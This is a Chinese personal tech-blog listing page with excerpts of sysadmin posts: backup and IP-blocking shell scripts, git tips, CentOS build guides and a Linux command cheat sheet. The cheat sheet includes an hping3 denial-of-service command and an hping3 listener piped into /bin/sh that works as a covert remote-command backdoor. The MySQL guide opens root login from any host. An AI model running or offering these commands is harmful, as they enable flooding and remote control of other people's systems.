首页
留言
友情链接
标签页
Search
1
如何使用JavaScript获取和设置CSS root变量值
1,010 阅读
2
中国历史朝代顺序图
628 阅读
3
春和 《江海共余生》
442 阅读
4
hyperf常用命令
374 阅读
5
清除浮动,单行多行超出用...
354 阅读
分享
Web前端
html&css
javascript
Vue
shopify
shoplazza
后端
ThinkPHP
YII2
服务器端
软件安装
问题合集
故事
诗词
生活
学习
学科
语文
数学
英语
物理
化学
生物
政治
历史
地理
自然
其他
抖音
快手
小视频
随笔
易经
书摘
登录
/
注册
Search
标签搜索
一年级语文
sunshine
累计撰写
146
篇文章
累计收到
15
条评论
首页
栏目
分享
Web前端
html&css
javascript
Vue
shopify
shoplazza
后端
ThinkPHP
YII2
服务器端
软件安装
问题合集
故事
诗词
生活
学习
学科
语文
数学
英语
物理
化学
生物
政治
历史
地理
自然
其他
抖音
快手
小视频
随笔
易经
书摘
页面
留言
友情链接
标签页
搜索到
27
篇与
的结果
2023-08-29
shell sh 使用汇总
数据库备份#!/bin/bash /home/soft/mysql-5.7.36/bin/mysqldump -uxxxx -P3307 -h 127.0.0.1 -pxxxx sunshine2 | gzip > /home/backup/sunshine_$(date +%Y%m%d).sql.gz black.sh 防止恶意登录#!/bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /root/black.txt DEFINE="10" for i in `cat /root/black.txt` do IP=`echo | awk '{split("'${i}'",array,"=");print array[1]}'` NUM=`echo | awk '{split("'${i}'",array,"=");print array[2]}'` if [ $NUM -gt $DEFINE ];then grep $IP /etc/hosts.deny > /dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" >> /etc/hosts.deny fi fi done 清理释放内存#!/bin/bash Mem=$(free -m | awk 'NR==2' | awk '{print $4}') if [ $Mem -gt 1024 ]; then echo "Service memory capacity is normal" > /dev/null else sync echo "1" > /proc/sys/vm/drop_caches echo "2" > /proc/sys/vm/drop_caches echo "3" > /proc/sys/vm/drop_caches sync fi nginx#!/bin/bash if [[ -z $1 ]];then echo -e "\033[32m输入格式:$0 stop|star|reopen|reload\033[0m" exit; fi case $1 in reload ) /home/soft/nginx/sbin/nginx -s reload ;; stop ) /home/soft/nginx/sbin/nginx -s stop ;; start ) /home/soft/nginx/sbin/nginx ;; reopen ) /home/soft/nginx/sbin/nginx -s stop && /home/soft/nginx/sbin/nginx ;; test ) /home/soft/nginx/sbin/nginx -t ;; * ) echo "invalid params" ;; esac if [ $? == 0 ];then echo -e "\033[32mnginx $1 success !\033[0m" fi redis#!/bin/bash cd /home/soft/redis-6.2.6 nohup redis-server /home/soft/redis-6.2.6/etc/redis-6350.conf > start.log 2>&1 & echo -e "\033[32m redis is running ... \033[0m";
2023年08月29日
78 阅读
0 评论
1 点赞
2023-07-27
.gitignore文件修改生效
首先修改.gitignore对应的文件然后需要先清除下缓存cachegit rm -r --cached . // 清除掉不需要提交的缓存文件 git add . // 将修改的gitignore文件以及删除的缓存文件提交到版本库 git commit -m "修改gitignore文件,过滤掉不需要提交到git仓库的文件" git push // 将.gitignore文件提交到远端仓库,这样其他人拉代码后也会 //自动过滤掉不需要提交到git仓库的文件
2023年07月27日
60 阅读
0 评论
1 点赞
2023-04-28
centos7 curl yum更新至最新版本
1.创建一个新文件touch /etc/yum.repos.d/city-fan.repo2.写入如下内容:[CityFan] name=City Fan Repo baseurl=http://www.city-fan.org/ftp/contrib/yum-repo/rhel$releasever/$basearch/ enabled=1 gpgcheck=03.运行更新命令yum clean all yum install curl
2023年04月28日
69 阅读
0 评论
0 点赞
2023-04-27
Linux shell命令集合
列出所有用户awk -F: '{ print $1}' /etc/passwd创建用户及用户组groupadd sexy groupmod -n market sexy groupmod -g 668 market groupmod -g 888 boss groupdel market groupadd sexy useradd -g sexy sdf useradd -g sexy jzmb useradd -d /home/xxx imoo useradd -s /sbin/nologin xxx usermod -c dgdzmx sdf usermod -l cls sdf usermod -d /home/cls cls usermod -g sexy imooc userdel jzmb userdel -r jzmb touch /etc/nologin passwd -l cls 查看某文件夹下的文件个数1.查看某文件夹下文件的个数:ls -l |grep "^-"|wc -l 或 find ./company -type f | wc -l2.查看某文件夹下文件的个数,包括子文件夹里的: ls -lR|grep "^-"|wc -l3.查看某文件夹下文件夹的个数,包括子文件夹里的: ls -lR|grep "^d"|wc -l说明:ls -l长列表输出该目录下文件信息(注意这里的文件,不同于一般的文件,可能是目录、链接、设备文件等)grep "^-"这里将长列表输出信息过滤一部分,只保留一般文件,如果只保留目录就是 ^dwc -l统计输出信息的行数,因为已经过滤得只剩一般文件了,所以统计结果就是一般文件信息的行数,又由于一行信息对应一个文件,所以也就是文件的个数。
2023年04月27日
68 阅读
0 评论
1 点赞
2023-04-26
Centos7 下编译安装php8.2
php8.1和php8.2编译安装1.下载php8.12.编译配置参数./configure --prefix=/home/soft/php-8.1.17 --with-config-file-path=/home/soft/php-8.1.17/etc --enable-fpm --with-fpm-user=php8-fpm --with-fpm-group=php8-fpm --disable-debug --disable-rpath --enable-shared --enable-soap --with-openssl --with-sqlite3 --with-zlib --enable-bcmath --with-iconv --with-bz2 --enable-calendar --with-curl --with-cdb --enable-dom --enable-exif --enable-fileinfo --enable-filter --enable-ftp --enable-gd --with-openssl-dir --enable-gd-jis-conv --with-gettext --with-gmp --with-mhash --enable-mbstring --enable-mbregex --enable-pdo --with-mysqli=mysqlnd --with-pdo-mysql=mysqlnd --with-zlib-dir --with-pdo-sqlite --with-readline --enable-session --enable-shmop --enable-simplexml --enable-sockets --enable-sysvmsg --enable-sysvsem --enable-sysvshm --with-xsl --with-zip --enable-mysqlnd-compression-support --with-pear --enable-opcache --enable-bcmath --enable-pcntl --with-jpeg --with-freetype设置启动cp /home/soft/php-8.1.17/sapi/fpm/init.d.php-fpm /etc/init.d/php81-fpm sudo chmod 777 /etc/init.d/php81-fpm
2023年04月26日
323 阅读
0 评论
1 点赞
2023-03-18
Centos7 编译安装MySQL5.7
下载mysql文件包wget https://downloads.mysql.com/archives/get/p/23/file/mysql-5.7.38-linux-glibc2.12-x86_64.tar.gz下载完成后解压 将mysql-5.7.38-linux-glibc2.12-x86_64重命名为mysqltar -zxvf mysql-5.7.38-linux-glibc2.12-x86_64.tar.gz mv mysql-5.7.38-linux-glibc2.12-x86_64 mysq创建用户组和用户并修改权限groupadd mysql useradd -r -g mysql mysql创建数据目录并赋予权限mkdir -p /data/mysql chown mysql:mysql -R /data/mysql创建mysql 用户组和用户groupadd mysql useradd -r -g mysql mysql卸载CentOS7系统自带的数据库查看系统自带的Mariadbrpm -qa|grep mariadb卸载系统自带的Mariadbrpm -e --nodeps mariadb-libs-5.5.68-1.el7.x86_64删除etc目录下的my.cnf ,后面再重新建。这里的etc目录在根目录下面。rm /etc/my.cnf安装mysql5.7 解压安装mysql安装包到目录下tar -zxvf mysql-5.7.36-linux-glibc2.12-x86_64.tar.gz修改mysql-5.7.36-linux-glibc2.12-x86_64名称为mysql5.7mv mysql-5.7.36-linux-glibc2.12-x86_64 mysql5.7更改mysql5.7 目录下所有文件夹所属的用户组、用户以及权限chown -R mysql:mysql /usr/software/mysql5.7 chmod -R 755 /usr/software/mysql5.7进入/usr/software/mysql5.7/bin/目录,编译安装并初始化mysql,务必记住数据库管理员临时密码。在最后一行。./mysqld --initialize --user=mysql --datadir=/usr/software/mysql5.7/data --basedir=/usr/software/mysql5.7vi /etc/my.cnf将下面的复制到文件中,然后保存[mysqld] datadir=/usr/software/mysql5.7/data port = 3306 sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES symbolic-links=0 max_connections=400 innodb_file_per_table=1授予my.cnf 配置文件775权限,如下:chmod -R 775 /etc/my.cnf修改/usr/software/mysql5.7/support-files/目录下的mysql.server文件,5个位置的/usr/local/mysql全部修改成/usr/software/mysql5.7。因为没有安装在默认的/usr/local/mysq目录下,所以需要修改成自己安装的路径。启动mysql 服务器1、查询服务ps -ef|grep mysql ps -ef|grep mysqld2、启动服务/usr/software/mysql5.7/support-files/mysql.server start添加软连接,并重启mysql 服务ln -s /usr/software/mysql5.7/support-files/mysql.server /etc/init.d/mysql ln -s /usr/software/mysql5.7/bin/mysql /usr/bin/mysql service mysql restart登录mysql ,密码就是初始化时生成的临时密码mysql -u root -p修改初始密码为自己的密码set password for root@localhost = password('xxxxxxx');开放远程连接use mysql; update user set user.Host='%' where user.User='root'; flush privileges;设置开机自启cp /usr/software/mysql5.7/support-files/mysql.server /etc/init.d/mysqld chmod +x /etc/init.d/mysqld chkconfig --add mysqld chkconfig --list开放3306端口,测试本地客户端是否连接成功打开3306端口firewall-cmd --zone=public --add-port=3306/tcp --permanent配置立即生效firewall-cmd --reload
2023年03月18日
71 阅读
0 评论
0 点赞
2023-03-17
Centos7 编译安装nginx
安装编译开发环境:yum install -y gcc gcc-c++ autoconf automake make安装nginx所需第三方库支持yum install zlib zlib-devel openssl openssl-devel pcre pcre-devel wget httpd-tools vim -y下载安装源码wget http://nginx.org/download/nginx-1.23.3.tar.gz解压缩进入目录tar -zxvf nginx-1.23.3.tar.gz cd nginx-1.23.3开始安装./configure --prefix=/home/soft/nginx make && make install
2023年03月17日
65 阅读
0 评论
0 点赞
2023-03-16
Git冲突:Please commit your changes or stash them before you merge
方法一:放弃本地修改 (此方法本地修改的代码会被丢弃,不可找回)git reset --hard git pullgit reset --hard:撤销工作区中所有未提交的修改内容,将暂存区与工作区都回到上一次版本,并删除之前的所有信息提交方法二:使用git stashgit stash git pull git stash popgit stash:保存当前工作进度,能够将所有未提交的修改(工作区和暂存区)保存至堆栈中,用于后续恢复当前工作目录。也可以用git stash save,作用等同于git stash,区别是可以加一些注释git pull:把服务器仓库的更新拉到本地仓库中git stash pop:可以把你刚才stash到本地栈中的代码pop到本地(也可以用git stash apply,区别:使用apply恢复,stash列表中的信息是会继续保留的,而使用pop恢复,会将stash列表中的信息进行删除。)git stash list:存储到本地栈顶以后,你可以使用git stash list 查看你本地存储的stash日志git stash clear: 清空Git栈,原来stash的节点都会被清除
2023年03月16日
212 阅读
0 评论
0 点赞
2022-11-02
Linux指令大全
service --status -all【服务状态】service MySQL restart【重启数据库】pstree -a 【显示每个程序的完备指令】pstree -c【不适用精确表示法】pstree -l【显示树状图】pstree -h【列数列图】pstree -u【显示用户名】pstree -n【显示程序识别码】pstree -G【列绘图字符】systemctl enable httpd.service【使某个服务启用】systemctl disable httpd.service【使某个服务不启用】systemctl status httpd.service【服务详细信息】system list-units --type=service【显示所有已经启用的服务】systemctl start httpd.service【启用某服务】systemctl stop httpd.service 【停用某服务】systemctl restart httpd.service【重启某服务】iptables -A INPUT -p tcp --dport 22 -j ACCEPT【允许访问22端口】iptables -A INPUT -p tcp --dport 80 -j ACCEPT【允许访问80端口】sudo systemctl status firewalld.service【开启防火墙】sudo systemctl stop firewalld.service【关闭防火墙】sudo systemctl disable firewalld.service【彻底关闭防火墙】halt -p【关闭系统】halt -d 【关闭系统不保留】reboot【重启】reboot -w【模拟重启】shutdown -h【关机】shutdown -r【重启】poweroff -f【强制关机】poweroff -i【关闭网络接口】wget http://www.linux.net/testfile.zip【单个文件下载】wget -c【断点下载】wget -b【后台下载】wget -spider【测试下载】wget -i【下载多个文件】Telnet -a【自动登入远程系统】Telnet -k【不自动登录系统】Telnet -L【用户名】rexec -p【密码】rexec -n【明确的输入用户名密码】iptraf -i【开启流量监视】iptraf -g【网络接口信息】iptraf -d【开启流量监视信息】iptraf -z【显示包计数】iptraf -s【UDP TCP流量信息】iptraf -l【监视工作站信息】iptraf -t【监视信息】nstat -h【显示帮助信息】nstat -v【显示版本信息】nstat -d【守护进程的方式执行命令】lnstat【Linux的方式】ss -t -a【显示ICP链接】ss -s【显示sockets】ss -l【显示打开网络接口】ss -pl【显示进程使用】ss -u -a【显示UDP】ss -a【显示所有的套接字】ss -i【显示内部TCP信息】ss -d【显示DDCP】tcpdump -a【转换广播协议】tcpdump -f【数字显示】tcpdump -x【十六进制读取数据】tcpdump -l【列出缓冲区】tcpdump -i ethO【抓包】tcpdump host IP【截取IP数据包】tcpdump -i ethO host name【截取主机数据】tcpdump -tcp port 23 host ip【监视制定数据包】hping3 -S -c 1000000 -a ip -p ip【防火墙测试】hping3 -i ethO -aip -S ip -p 80 -i u1000【拒绝服务攻击】hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh【木马端】echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd【远程控制端】host -a【详细DNS信息】host -c 【SOA记录】host -t【域名信息类型】host -v【详细执行信息】nslookup 网站【域名查找】arping 网站arping -b【以太网广播帧】dig -p 【域名端口号】dig -x【逆向解析】arp -a【显示缓冲区】arp -rl【指定使用类型】arp -D【硬件接口地址】arp -E【Linux显示条目】arp -n【数字方式显示条目】arp -v【显示详细信息】arp -f【主机IP与Mac映射】traceroute -i【ICMP取代UDP】traceroute -p【UDP端口】traceroute -n【使用IP地址】traceroute -x【开启关闭数据包】netstat -a【列出所有端口】netstat -au 【UDP端口】netstat -lt【tcp端口】netstat -lx【Unix端口】netstat -st【tcp端口】netstat -pt【PID进程】netstat -C【路由表信息】netstat -at【tcp端口】netstat -l【监听端口】netstat -lu【UDP端口监听】netstat -s【端口详细信息】netstat -su【UDP端口】netstat -c【列出网络状态】nststat -f【显示FIB】
2022年11月02日
124 阅读
0 评论
1 点赞
2022-10-13
Http通信协议
第一章 前言我们现实生活中的协议是指相互遵守的规定,单方面违背,协议不成立;而在互联网交互的过程中,也存在这许多协议,例如FTP、HTTP、STMP、TCP/IP等。而HTTP协议则是web服务器和web客户端达成的一种可靠的数据传输协议,通过HTTP可以从遍布全世界的Web服务器上将JPEG图片,HTML页面,文本文件,MPEG电影,WAV音频文件和其他资源信息块迅速、便捷、可靠地搬移到人们桌面上的Web浏览器上去。它能够确保数据在传输的过程当中不会损坏或者产生混乱。这样,对用户来说是个好事,同样对internet应用的开发人员来说也是一件好事。因为我们在开发过程中也不需要担心自己的页面和数据会在传输过程中发生破坏和畸变了。第二章 WEB客户端和服务器Web内容都是存储在Web服务器上的。Web服务器所使用的是HTTP协议,因此经常会被称为HTTP服务器。这些HTTP服务器存储了因特网中的数据,如果HTTP客户端发出请求的话,它们会提供数据。客户端向服务器发送HTTP请求,服务器会在HTTP响应中回送所请求的数据。那么一次请求和响应的过程中发生了什么?HTTP属于无状态链接协议,即是限制每次连接只处理一个请求。服务器处理完客户的请求,并收到客户的应答后,即断开连接。采用这种方式可以节省传输时间和服务器资源。当然也有有状态链接,那就是我们常用的QQ。H5新增的特性中也包含Websocket帮助我们构建长链接。第三章 资源和媒体类型web服务器是web资源的宿主,而web资源就是我们常见的web内容的源头,最简单的web资源就是我们服务器中的静态文件:文本文件,HTML文档,JPEG图片文件,mp4文件等等。当然web资源也可以是动态生成的,类似搜索引擎生成的页面,qq空间的动态等,总之,所有类型的内容来源都是资源。因特网上有数千种不同类型的数据类型,HTTP在传输的过程中为每个传输的数据都打上了名为MIME类型的数据类型标签,描述并标记多媒体内容。web浏览器请求一个网站的时候往往会发布多个HTTP请求,比如我们在浏览一个具有丰富图片的的web页面的时候,浏览器会执行一次HTTP请求来获取描述页面布局的HTML,然后发布另外的请求来获取每个嵌入式的图片,这些图片甚至可能位于不同的服务器上。因此,一个web页面通常不是单个资源,而是一组资源的集合。web服务器会为所有的HTTP对象数据附加一个MIME类型,当浏览器从服务器中取回一个对象的时候,会查看相关的MIME类型。看看它是否知道应该如何处理这个对象。对象的类型写在响应的content-type头中;同样,请求的时候浏览器也会告知服务器请求数据类型。常见的MIME类型:HTML 格式的文本文档由 text/html 类型来标记。普通的 ASCII 文本文档由 text/plain 类型来标记。JPEG 格式的图片为 image/jpeg 类型。GIF 格式的图片为 image/gif 类型。以application开头的媒体格式类型:application/xhtml+xml :XHTML格式application/xml : XML数据格式application/atom+xml :Atom XML聚合格式application/json : JSON数据格式application/octet-stream : 二进制流数据(如常见的文件下载)application/x-www-form-urlencoded : <form encType=''>中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)multipart/form-data : 需要在表单中进行文件上传使用的数据格式。当然还有很多类型,我们就不一一列举了。MIME 参考手册:http://www.w3school.com.cn/media/media_mimeref.asp第四章 URL统一资源定位符(Uniform Resource Locator)是资源标识符最常见的形式。URL描述了一台特定服务器上某资源的特定位置。它们可以明确说明如何从一个精确、固定的位置获取资源。互联网上的每个文件都有一个唯一的URL,它包含的信息指出文件的位置以及浏览器应该怎么处理它。大部分 URL 都遵循一种标准格式, 这种格式包含三个部分。URL 的第一部分被称为方案(scheme), 说明了访问资源所使用的协议类型。 这部分通常就是 HTTP 协议(http://)。第二部分给出了服务器的因特网地址(比如,http://www.itheima.com)。其余部分指定了 Web 服务器上的某个资源(比如, /static/image/common/zixuelogo.png)。URL可以更为细致的进行划分。 foo://username:password@xxx.xx.xx:8080/over/there/index.html?type=answer&name=yanshiba#nose \_/ \_______________/ \_________/ \__/ \___/ \_/ \______________________/ \__/ | | | | | | | | | userinfo host port | | query fragment | \________________________________/\_____________|____|/ \__/ \__/ scheme | | | | | | name authority | | | | | path | | interpretable as keys | | \_______________________________________________|____|/ \____/ \_____/ | | | | | hierarchical part | | interpretable as values | | interpretable as filename | | | interpretable as extension第五章 方法HTTP支持几种不同请求和命令,这些命令被称为HTTP方法,每条HTTP请求报文都包含一个方法。 这个方法会告诉服务器要执行什么动作(获取一个Web页面、发送一段信息、删除一个文件等);我们在学习form表单的时候也知道method可以写作post和get。这就是HTTP请求的方法。请求方法如下:请求方法描述GET获取一个URL指定的资源,即资源实体POST向服务器提交数据PUT向服务器提交数据DELETE请求源服务器删除Request-URI标志的资源HEAD获取一个指定资源的头信息OPTIONS获取服务器支持的方法我们随后学习的node和ajax中都会用到HTTP请求具体的方法实现。第六章 状态码每条HTTP响应报文返回时都会携带一个状态码。状态码是一个三位数字的代码,告知客户端请求是否成功, 或者是否需要采取其他动作。状态码分成如下几个系列:状态码定义说明1XX请求被接受一般只在实验环境下使用2XX成功操作成功的收到,理解和接收3XX重定向为了完成请求,进行进一步措施4XX客户端错误请求的语法有错误或者不能完全被满足5XX服务器错误服务器无法完成明显有效的请求常见的HTTP状态码:HTTP状态码描述200OK。文档正确返回301/2永久/临时重定向304not modified 未修改(原有的缓存可以继续使用)404请求的网页不存在503服务器暂时不可用500服务器内部错误第七章 报文HTTP报文是由一行一行的简单字符串组成的。HTTP报文都是纯文本,不是二进制代码,所以人们可以很方便地对其进行读写。从Web客户端发往Web服务器的HTTP报文称为请求报文(request message)。从服务器发往客户端的报文称为响应报文(response message)。HTTP 报文包括以下三个部分:起始行报文的第一行就是起始行, 在请求报文中用来说明要做些什么, 在响应报文中说明出现了什么情况。请求行部分由 请求方法(GET,POST等),请求路径,协议版本组成。响应行部分由 协议版本,状态码,状态文字组成。首部字段起始行后面有零个或多个首部字段。 每个首部字段都包含一个名字和一个值, 为了便于解析, 两者之间用冒号来分隔。 首部以一个空行结束。主体空行之后就是可选的报文主体了, 其中包含了所有类型的数据。 请求主体中包括了要发送给 Web 服务器的数据; 响应主体中装载了要返回给客户端的数据。 起始行和首部都是文本形式且都是结构化的, 而主体则不同, 主体中可以包含任意的二进制数据(比如图片、视频、音轨、软件程序)。 当然, 主体中也可以包含文本。HTTP报文常见的内容:http://www.cnblogs.com/Joans/p/3956490.html\使用火狐浏览器打开一个网页,找到其中一个网络请求查看报文:
2022年10月13日
35 阅读
0 评论
1 点赞
1
2
3